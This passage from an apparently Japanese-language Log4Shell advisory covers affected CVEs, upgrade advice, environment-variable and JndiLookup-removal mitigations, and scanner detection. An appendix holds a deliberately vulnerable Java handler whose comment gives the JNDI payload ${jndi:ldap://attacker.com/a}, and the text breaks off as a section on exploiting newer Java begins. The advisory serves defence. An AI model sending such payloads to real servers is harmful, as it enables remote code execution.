\u88fd\u54c1\u306f\u4ee5\u4e0b\u306e\u3044\u305a\u308c\u306e CVE \u306e\u5f71\u97ff\u3092\u53d7\u3051\u307e\u305b\u3093\u3002<\/p>\n<ul>\n<li>CVE-2021-44228<\/li>\n<li>CVE-2021-45046<\/li>\n<li>CVE-2021-45105<\/li>\n<li>CVE-2021-44832<\/li>\n<\/ul>\n<h2><span style=\"font-weight: 400\">Log4j-api \u30d1\u30c3\u30b1\u30fc\u30b8\u306f\u8106\u5f31\u304b\uff1f<\/span><\/h2>\n<p><span style=\"font-weight: 400\">\u3044\u304f\u3064\u304b\u306e\u52e7\u544a\u3067\u306f\u3001<a href=\"https:\/\/mvnrepository.com\/artifact\/org.apache.logging.log4j\/log4j-api\">Maven \u30d1\u30c3\u30b1\u30fc\u30b8\u00a0 log4j-api<\/a> \u306f\u8106\u5f31\u3067\u3042\u308b\u3068\u3057\u3066\u3044\u307e\u3059\u3002\u3057\u304b\u3057\u3001JFrog \u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30ea\u30b5\u30fc\u30c1 \u30c1\u30fc\u30e0\u306f\u3001\u8abf\u67fb\u306e\u7d50\u679c <strong>log4j-api \u5358\u4f53\u3068\u3057\u3066\u306f\u8106\u5f31\u3067\u306f\u306a\u3044<\/strong>\u3068\u7d50\u8ad6\u3065\u3051\u307e\u3057\u305f\u3002\u3053\u308c\u306f\u3001<code>JNDI \u30eb\u30c3\u30af\u30a2\u30c3\u30d7<\/code>\u6a5f\u80fd\u304c\u306a\u3044\u3053\u3068\u306b\u3088\u308b\u5e30\u7740\u3067\u3001\u8106\u5f31\u6027\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u8d77\u52d5\u3059\u308b\u3053\u3068\u3067\u5bb9\u6613\u306b\u5224\u65ad\u3067\u304d\u307e\u3059\u3002<\/span><\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-86010\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022329\/image2-1.png\" alt=\"\" width=\"578\" height=\"327\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022329\/image2-1.png?speedsize=w_578 578w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022329\/image2-1.png?speedsize=w_300 300w\" sizes=\"(max-width: 578px) 100vw, 578px\" \/><\/p>\n<p><span style=\"font-weight: 400\">log4j-api \u306e\u307f\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u305f\u72b6\u614b\u3067\u4e0a\u8a18\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3068\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u51fa\u529b\u304c\u5f97\u3089\u308c\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\"><code>ERROR StatusLogger Log4j2 could not find a logging implementation. Please add log4j-core to the classpath. Using SimpleLogger to log to the console...<\/code><\/span><\/p>\n<p><span style=\"font-weight: 400\">\u540c\u3058\u30b3\u30fc\u30c9\u3092 <code>SimpleLogger<\/code> \u30af\u30e9\u30b9\u3067\u5b9f\u884c\u3059\u308b\u3068\u3001\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u6587\u5b57\u5217\u306f\u305d\u306e\u307e\u307e\u8a18\u9332\u3055\u308c\u307e\u3059\u304c\u3001\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u30b3\u30fc\u30c9\u306f\u30c8\u30ea\u30ac\u30fc\u3055\u308c\u307e\u305b\u3093\uff08\u5b58\u5728\u3057\u306a\u3044\u306e\u3067\uff09\u3002<\/span><\/p>\n<h2><span style=\"font-weight: 400\">\u3053\u306e\u554f\u984c\u3092\u5b8c\u5168\u306b\u89e3\u6c7a\u3059\u308b\u306b\u306f\u3069\u3046\u3059\u308b\u3079\u304d\u304b\uff1f<\/span><\/h2>\n<p><span style=\"font-weight: 400\">\u3053\u306e\u554f\u984c\u306e\u6700\u5584\u306e\u4fee\u6b63\u306f\u3001\u4f9d\u5b58\u95a2\u4fc2\u306b\u3042\u308b log4j \u3092\u30d0\u30fc\u30b8\u30e7\u30f3 <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/releases\/tag\/rel%2F2.16.0\">2.16.0<\/a> \u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u3053\u3068\u3067\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u30c7\u30d5\u30a9\u30eb\u30c8\u3067 JNDI \u304c\u7121\u52b9\u306b\u306a\u308a\u3001\u30e1\u30c3\u30bb\u30fc\u30b8 \u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u6a5f\u80fd\u304c\u524a\u9664\u3055\u308c\u3001\u3053\u306e\u554f\u984c\u3092\u5b8c\u5168\u306b\u89e3\u6c7a\u3057\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\">\u30d0\u30fc\u30b8\u30e7\u30f3 2.15.0 \u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u3068\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u8a2d\u5b9a\u3067\u30ea\u30e2\u30fc\u30c8 \u30a8 \u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u5b8c\u5168\u306b\u9632\u3050\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u305f\u3060\u3057\u3001\u3053\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u8ffd\u52a0\u3055\u308c\u305f\u7de9\u548c\u7b56\u306e\u307b\u3068\u3093\u3069\u306f\u3001\u3059\u3067\u306b\u30d0\u30a4\u30d1\u30b9\u3055\u308c\u3066\u3044\u307e\u3059\uff08<a href=\"#appendix-d\">\u4ed8\u9332D<\/a> \u53c2\u7167\uff09\u3002\u5c06\u6765\u306b\u5099\u3048\u3066\u3001\u3067\u304d\u308b\u3060\u3051\u65e9\u304f2.16.0 \u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\u3002<\/span><\/p>\n<h2><span style=\"font-weight: 400\">\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u305b\u305a\u306b\u554f\u984c\u3092\u8efd\u6e1b\u3067\u304d\u308b\u304b<\/span><span style=\"font-weight: 400\">\uff1f<\/span><\/h2>\n<p><span style=\"font-weight: 400\">Log4j \u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u8106\u5f31\u6027\u4fee\u6b63\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u3053\u3068\u3067\u554f\u984c\u3092\u5b8c\u5168\u306b\u89e3\u6c7a\u3059\u308b\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\u304c\u3001\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u305b\u305a\u306b\u554f\u984c\u3092\u5b8c\u5168\u306b\u7de9\u548c\u3059\u308b\u3053\u3068\u306f\u53ef\u80fd\u3067\u3059\u3002<\/span><\/p>\n<h3><span style=\"font-weight: 400\">\u7de9\u548c\u7b56\uff11\uff1aLog4j 2.10.0 \u4ee5\u964d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u5834\u5408\u306f\u3001\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u3092\u7121\u52b9\u306b\u3059\u308b<\/span><\/h3>\n<p><strong>\u66f4\u65b0 <\/strong>\u30fc \u3053\u306e\u7de9\u548c\u7b56\u3067\u306f\u3001CVE-2021-45046 \u3092\u5229\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u7a00\u306a\u30c7\u30d5\u30a9\u30eb\u30c8\u4ee5\u5916\u306e\u8a2d\u5b9a\u6642\u306b\u30d0\u30a4\u30d1\u30b9\u53ef\u80fd\u3068\u306a\u308a\u307e\u3059\u3002 \u8a73\u7d30\u306f<span class=\"md-meta-i-c md-link\"><a class=\"md-inner-link\" href=\"#appendix-c\"><span class=\"md-plain\">\u4ed8\u9332<\/span><\/a><\/span><span class=\"md-meta-i-c md-link\"><a class=\"md-inner-link\" href=\"#appendix-c\"><span class=\"md-plain\">C<\/span><\/a> <\/span>\u3092\u53c2\u7167\u304f\u3060\u3055\u3044\u3002 \u65b0\u3057\u3044 Log4j2 \u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3067\u304d\u306a\u3044\u30d9\u30f3\u30c0\u306b\u306f\u3001\u3053\u306e\u7de9\u548c\u7b56\uff11\u3068\u6b21\u306e\u7de9\u548c\u7b56\uff12\u306e\u4e21\u65b9\u3092\u9069\u7528\u3059\u308b\u3053\u3068\u3092\u5f15\u304d\u7d9a\u304d\u63a8\u5968\u3057\u307e\u3059\u3002\u7de9\u548c\u7b56\uff12\uff08\u8106\u5f31\u306a\u30af\u30e9\u30b9\u306e\u524a\u9664\uff09\u306f\u3001CVE-2021-45046 \u306e\u5f71\u97ff\u3092\u53d7\u3051\u307e\u305b\u3093\u3002<\/p>\n<p><span style=\"font-weight: 400\">Log4j 2.10.0 \u307e\u305f\u306f\u305d\u308c\u4ee5\u964d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u3001\u30b7\u30b9\u30c6\u30e0\u306e init \u30b9\u30af\u30ea\u30d7\u30c8\u306e\u3046\u3061\uff11\u3064\u3067 Java \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30ed\u30fc\u30c9\u524d\u306e\u30bf\u30a4\u30df\u30f3\u30b0\u3067\u6b21\u306e\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u3066\u3001\u74b0\u5883\u5909\u6570<code>LOG4J_FORMAT_MSG_NO_LOOKUPS<\/code>\u3092<code>true<\/code>\u306b\u8a2d\u5b9a\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u30b0\u30ed\u30fc\u30d0\u30eb\u306b\u30e1\u30c3\u30bb\u30fc\u30b8\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u3092\u7121\u52b9\u5316\u3059\u308b\u3053\u3068\u3092\u63a8\u5968\u3057\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\"><code>export LOG4J_FORMAT_MSG_NO_LOOKUPS=true<\/code><\/span><\/p>\n<p><span style=\"font-weight: 400\">\u3042\u308b\u3044\u306f\u3001\/etc\/environment \u30d5\u30a1\u30a4\u30eb\u306b\u6b21\u306e\u884c\u3092\u8ffd\u52a0\u3059\u308b\u3053\u3068\u3067\u3001\u30b7\u30b9\u30c6\u30e0\u5168\u4f53\u306b\u5bfe\u3057\u3066\u7121\u52b9\u5316\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\"><code>LOG4J_FORMAT_MSG_NO_LOOKUPS=true<\/code><\/span><\/p>\n<p><span style=\"font-weight: 400\">\u3053\u306e\u65b9\u6cd5\u306f\u3001\u3059\u3079\u3066\u306e Log4j \u4f9d\u5b58\u95a2\u4fc2\u304c\u9069\u5207\u306b\u66f4\u65b0\u3055\u308c\u3066\u3044\u306a\u3044\u7591\u3044\u304c\u3042\u308b\u5834\u5408\u306e<strong>\u8ffd\u52a0\u4fdd\u8b77\u5bfe\u7b56<\/strong>\u306b\u306a\u308a\u307e\u3059\u3002\u307e\u305f\u3001\u8106\u5f31\u306a\u30d0\u30fc\u30b8\u30e7\u30f3\u306e Log4j \u3092\u542b\u3080\u304b\u4f9d\u5b58\u3057\u3066\u3044\u308b\u30d1\u30c3\u30c1\u672a\u9069\u7528\u306e\u30b5\u30fc\u30c9\u30d1\u30fc\u30c6\u30a3\u306e Java \u30d1\u30c3\u30b1\u30fc\u30b8\u304b\u3089\u4fdd\u8b77\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\">\u307e\u305f\u3001\u8106\u5f31\u306a Java \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u5b9f\u884c\u6642\u306b\u6b21\u306e\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u30d5\u30e9\u30b0\u3092\u8ffd\u52a0\u3059\u308b\u3053\u3068\u3067\u3001JVM \u306e\u7279\u5b9a\u306e\u547c\u3073\u51fa\u3057\u306b\u5bfe\u3057\u3066\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u3092\u7121\u52b9\u306b\u3067\u304d\u307e\u3059: <\/span><span style=\"font-weight: 400\"><code>\u2010Dlog4j2.formatMsgNoLookups=True<\/code><\/span><\/p>\n<p><span style=\"font-weight: 400\">\u4f8b\uff1a<\/span><\/p>\n<p><span style=\"font-weight: 400\"><code>java \u2010Dlog4j2.formatMsgNoLookups=True -jar vulnerable.jar<\/code><\/span><\/p>\n<h3><span style=\"font-weight: 400\">\u7de9\u548c\u7b56\uff12\uff1a\u53e4\u3044 Log4j \u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u5834\u5408\u306f\u3001\u8106\u5f31\u306a\u30af\u30e9\u30b9\u3092<\/span><span style=\"font-weight: 400\">\u524a\u9664\u3059\u308b<\/span><\/h3>\n<p><span style=\"font-weight: 400\">2.10.0 \u3088\u308a\u53e4\u3044 Log4j \u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u3001\u6b21\u306e\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u3067\u3001\u3042\u3089\u3086\u308b Java \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304b\u3089 <code>JNDI \u30eb\u30c3\u30af\u30a2\u30c3\u30d7<\/code>\u30af\u30e9\u30b9\u3092\u524a\u9664\u3067\u304d\u307e\u3059\u3002<\/span><\/p>\n<pre class=\"language-java\"><code>find .\/ -type f -name <span style=\"font-weight: 400\">\"log4j-core-*.jar\"<\/span><span style=\"font-weight: 400\"> -exec zip -q -d <\/span><span style=\"font-weight: 400\">\"{}\"<\/span><span style=\"font-weight: 400\"> org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class <\/span><span style=\"font-weight: 400\">\\;<\/span><\/code><\/pre>\n<p><span style=\"font-weight: 400\">\u3053\u308c\u306b\u3088\u308a\u3001\u30ab\u30ec\u30f3\u30c8\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u304b\u3089\u59cb\u307e\u308b\u3059\u3079\u3066\u306e log4j-core \u306e JAR \u30d5\u30a1\u30a4\u30eb\u3092\u518d\u5e30\u7684\u306b\u691c\u51fa\u3057\u3001\u305d\u3053\u304b\u3089\u8106\u5f31\u306a <code>JNDI\u30eb\u30c3\u30af\u30a2\u30c3\u30d7<\/code>\u30af\u30e9\u30b9\u3092\u524a\u9664\u3057\u307e\u3059\u3002\u5b8c\u5168\u306a\u524a\u9664\u3092\u884c\u3046\u306b\u306f\u3001\u3053\u306e\u30b3\u30de\u30f3\u30c9\u3092\u30b7\u30b9\u30c6\u30e0\u306e\u30eb\u30fc\u30c8\u30fb\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u304b\u3089\u5b9f\u884c\u3057\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\">\u6ce8\u610f\uff1a\u3053\u306e\u65b9\u6cd5\u306f\u6700\u7d42\u7684\u306a\u624b\u6bb5\u3068\u3057\u3066\u306e\u307f\u63a8\u5968\u3055\u308c\u307e\u3059\u3002\u8106\u5f31\u306a <code>JNDI\u30eb\u30c3\u30af\u30a2\u30c3\u30d7<\/code>\u30af\u30e9\u30b9\u304c\u3001\u518d\u5e30\u7684\u306a JAR \u30d5\u30a1\u30a4\u30eb\u306b\u7d44\u307f\u8fbc\u307e\u308c\u3066\u3044\u305f\u308a\u3001zip \u30b3\u30de\u30f3\u30c9\u304c\u30a2\u30af\u30bb\u30b9\u3067\u304d\u306a\u3044\u5834\u6240\u306b\u5b58\u5728\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u305f\u3081\u3067\u3059\u3002\u3053\u306e\u65b9\u6cd5\u3092\u9078\u629e\u3059\u308b\u5834\u5408\u306f\u3001\u3069\u306e Java \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3067\u3082 <code>JNDI\u30eb\u30c3\u30af\u30a2\u30c3\u30d7<\/code>\u30af\u30e9\u30b9\u3092\u5229\u7528\u3067\u304d\u306a\u3044\u3053\u3068\u3092\u624b\u52d5\u3067\u78ba\u8a8d\u3059\u308b\u3053\u3068\u3092\u5f37\u304f\u63a8\u5968\u3057\u307e\u3059\u3002<\/span><\/p>\n<h2><span style=\"font-weight: 400\">JFrog Xray\u3067\u3053\u306e\u8106\u5f31\u6027\u3092\u691c\u51fa\u3059\u308b\u306b\u306f\u3069\u3046\u3059\u308c\u3070\u3088\u3044\u304b\uff1f<\/span><\/h2>\n<p><span style=\"font-weight: 400\">Xray \u306f\u901a\u5e38\u306e\u30b9\u30ad\u30e3\u30f3\u306b\u3066CVE-2021-44228\u3092\u691c\u51fa\u3057\u307e\u3059\u3002\u3044\u3064\u3082\u306e\u3088\u3046\u306b <strong>CI\/CD<\/strong> \u306e\u4e00\u74b0\u3067\u691c\u51fa\u3067\u304d\u308b\u308f\u3051\u3067\u3059\u3002<\/span><\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-86011\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022332\/image3-1.png\" alt=\"\" width=\"1585\" height=\"679\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022332\/image3-1.png?speedsize=w_1585 1585w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022332\/image3-1.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022332\/image3-1.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022332\/image3-1.png?speedsize=w_768 768w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022332\/image3-1.png?speedsize=w_1536 1536w\" sizes=\"(max-width: 1585px) 100vw, 1585px\" \/><\/p>\n<p><b>JFrog CLI:<\/b><\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-86014\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022341\/image6.png\" alt=\"\" width=\"1310\" height=\"323\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022341\/image6.png?speedsize=w_1310 1310w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022341\/image6.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022341\/image6.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022341\/image6.png?speedsize=w_768 768w\" sizes=\"(max-width: 1310px) 100vw, 1310px\" \/><\/p>\n<p><b>JFrog IDE \u30d7\u30e9\u30b0\u30a4\u30f3:<\/b><\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-86012\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022335\/image4-1.png\" alt=\"\" width=\"577\" height=\"1115\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022335\/image4-1.png?speedsize=w_577 577w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022335\/image4-1.png?speedsize=w_155 155w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022335\/image4-1.png?speedsize=w_530 530w\" sizes=\"(max-width: 577px) 100vw, 577px\" \/><\/p>\n<h4><strong>\u4ed8\u9332A\uff1a<\/strong><\/h4>\n<h3>\u8106\u5f31\u306a\u4f8b<\/h3>\n<p><span style=\"font-weight: 400\">\u30ea\u30e2\u30fc\u30c8\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u53ef\u80fd\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u4f8b\uff08<a href=\"https:\/\/www.lunasec.io\/docs\/blog\/log4j-zero-day\/\">LunaSec\u793e\u306e\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea<\/a>\u3088\u308a\uff09<\/span><span style=\"font-weight: 400\">:<\/span><\/p>\n<pre class=\"language-java\"><code>import<span style=\"font-weight: 400\"> org.apache.logging.log4j.LogManager;<\/span>\r\n\r\n<span style=\"font-weight: 400\">import<\/span><span style=\"font-weight: 400\"> org.apache.logging.log4j.Logger;<\/span>\r\n\r\n\u00a0\r\n\r\n<span style=\"font-weight: 400\">import<\/span><span style=\"font-weight: 400\"> java.io.*;<\/span>\r\n\r\n<span style=\"font-weight: 400\">import<\/span><span style=\"font-weight: 400\"> java.sql.SQLException;<\/span>\r\n\r\n<span style=\"font-weight: 400\">import<\/span><span style=\"font-weight: 400\"> java.util.*;<\/span>\r\n\r\n\u00a0\r\n\r\n<span style=\"font-weight: 400\">public<\/span> <span style=\"font-weight: 400\">class<\/span> <span style=\"font-weight: 400\">VulnerableLog4jExampleHandler<\/span> <span style=\"font-weight: 400\">implements<\/span> <span style=\"font-weight: 400\">HttpHandler<\/span><span style=\"font-weight: 400\"> {<\/span>\r\n\r\n\u00a0\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0<\/span><span style=\"font-weight: 400\">static<\/span> <span style=\"font-weight: 400\">Logger<\/span> <span style=\"font-weight: 400\">log<\/span><span style=\"font-weight: 400\"> = <\/span><span style=\"font-weight: 400\">LogManager<\/span><span style=\"font-weight: 400\">.<\/span><span style=\"font-weight: 400\">getLogger<\/span><span style=\"font-weight: 400\">(<\/span><span style=\"font-weight: 400\">VulnerableLog4jExampleHandler<\/span><span style=\"font-weight: 400\">.<\/span><span style=\"font-weight: 400\">class<\/span><span style=\"font-weight: 400\">.<\/span><span style=\"font-weight: 400\">getName<\/span><span style=\"font-weight: 400\">());<\/span>\r\n\r\n\u00a0\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\/**<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0* A simple HTTP endpoint that reads the request's User Agent and logs it back.<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0* This is basically pseudo-code to explain the vulnerability, and not a full example.<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0* <\/span><span style=\"font-weight: 400\">@param<\/span> <span style=\"font-weight: 400\">he<\/span><span style=\"font-weight: 400\"> HTTP Request Object<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0*\/<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0<\/span><span style=\"font-weight: 400\">public<\/span> <span style=\"font-weight: 400\">void<\/span> <span style=\"font-weight: 400\">handle<\/span><span style=\"font-weight: 400\">(<\/span><span style=\"font-weight: 400\">HttpExchange<\/span> <span style=\"font-weight: 400\">he<\/span><span style=\"font-weight: 400\">) <\/span><span style=\"font-weight: 400\">throws<\/span> <span style=\"font-weight: 400\">IOException<\/span><span style=\"font-weight: 400\"> {<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0\u00a0<\/span><span style=\"font-weight: 400\">String<\/span> <span style=\"font-weight: 400\">userAgent<\/span><span style=\"font-weight: 400\"> = <\/span><span style=\"font-weight: 400\">he<\/span><span style=\"font-weight: 400\">.<\/span><span style=\"font-weight: 400\">getRequestHeader<\/span><span style=\"font-weight: 400\">(<\/span><span style=\"font-weight: 400\">\"user-agent\"<\/span><span style=\"font-weight: 400\">);<\/span>\r\n\r\n\u00a0\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0\u00a0<\/span><span style=\"font-weight: 400\">\/\/ This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0\u00a0<\/span><span style=\"font-weight: 400\">\/\/ The attacker can set their User-Agent header to: ${jndi:ldap:\/\/attacker.com\/a}<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0\u00a0<\/span><span style=\"font-weight: 400\">log<\/span><span style=\"font-weight: 400\">.<\/span><span style=\"font-weight: 400\">info<\/span><span style=\"font-weight: 400\">(<\/span><span style=\"font-weight: 400\">\"Request User Agent:{}\"<\/span><span style=\"font-weight: 400\">, userAgent);<\/span>\r\n\r\n\u00a0\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0\u00a0<\/span><span style=\"font-weight: 400\">String<\/span> <span style=\"font-weight: 400\">response<\/span><span style=\"font-weight: 400\"> = <\/span><span style=\"font-weight: 400\">\"Hello There, \"<\/span><span style=\"font-weight: 400\"> + userAgent + <\/span><span style=\"font-weight: 400\">\"!\"<\/span><span style=\"font-weight: 400\">;<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0\u00a0<\/span><span style=\"font-weight: 400\">he<\/span><span style=\"font-weight: 400\">.<\/span><span style=\"font-weight: 400\">sendResponseHeaders<\/span><span style=\"font-weight: 400\">(<\/span><span style=\"font-weight: 400\">200<\/span><span style=\"font-weight: 400\">, <\/span><span style=\"font-weight: 400\">response<\/span><span style=\"font-weight: 400\">.<\/span><span style=\"font-weight: 400\">length<\/span><span style=\"font-weight: 400\">());<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0\u00a0<\/span><span style=\"font-weight: 400\">OutputStream<\/span> <span style=\"font-weight: 400\">os<\/span><span style=\"font-weight: 400\"> = <\/span><span style=\"font-weight: 400\">he<\/span><span style=\"font-weight: 400\">.<\/span><span style=\"font-weight: 400\">getResponseBody<\/span><span style=\"font-weight: 400\">();<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0\u00a0<\/span><span style=\"font-weight: 400\">os<\/span><span style=\"font-weight: 400\">.<\/span><span style=\"font-weight: 400\">write<\/span><span style=\"font-weight: 400\">(<\/span><span style=\"font-weight: 400\">response<\/span><span style=\"font-weight: 400\">.<\/span><span style=\"font-weight: 400\">getBytes<\/span><span style=\"font-weight: 400\">());<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0\u00a0\u00a0<\/span><span style=\"font-weight: 400\">os<\/span><span style=\"font-weight: 400\">.<\/span><span style=\"font-weight: 400\">close<\/span><span style=\"font-weight: 400\">();<\/span>\r\n\r\n<span style=\"font-weight: 400\">\u00a0\u00a0}<\/span>\r\n\r\n<span style=\"font-weight: 400\">}<\/span><\/code><\/pre>\n<p>&nbsp;<\/p>\n<p><code><\/code><\/p>\n<h4><strong><span id=\"appendix-b\">\u4ed8\u9332B\uff1a<\/span><\/strong><\/h4>\n<h3><strong><span id=\"appendix-b\">\u3088\u308a\u65b0\u3057\u3044 Java \u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u306e Log4Shell \u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8<\/span><\/strong><\/h3>\n<h4><span style=\"font-weight: 400\">\u65b9\u6cd5\uff11\uff1a\u4ed6\u306e\u30e1\u30c3\u30bb\u30fc\u30b8\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u306e\u60aa\u7528<br \/>\n<\/span><\/h4>\n<p><span style=\"font-weight: 400\">\u65b0\u3057\u3044 Java \u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u306f\u3001JNDI \u306e\u30ea\u30e2\u30fc\u30c8 \u30af\u30e9\u30b9 \u30ed\u30fc\u30c7\u30a3\u30f3\u30b0\u304c\u7121\u52b9\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u304c\u3001\u30e1\u30c3\u30bb\u30fc\u30b8 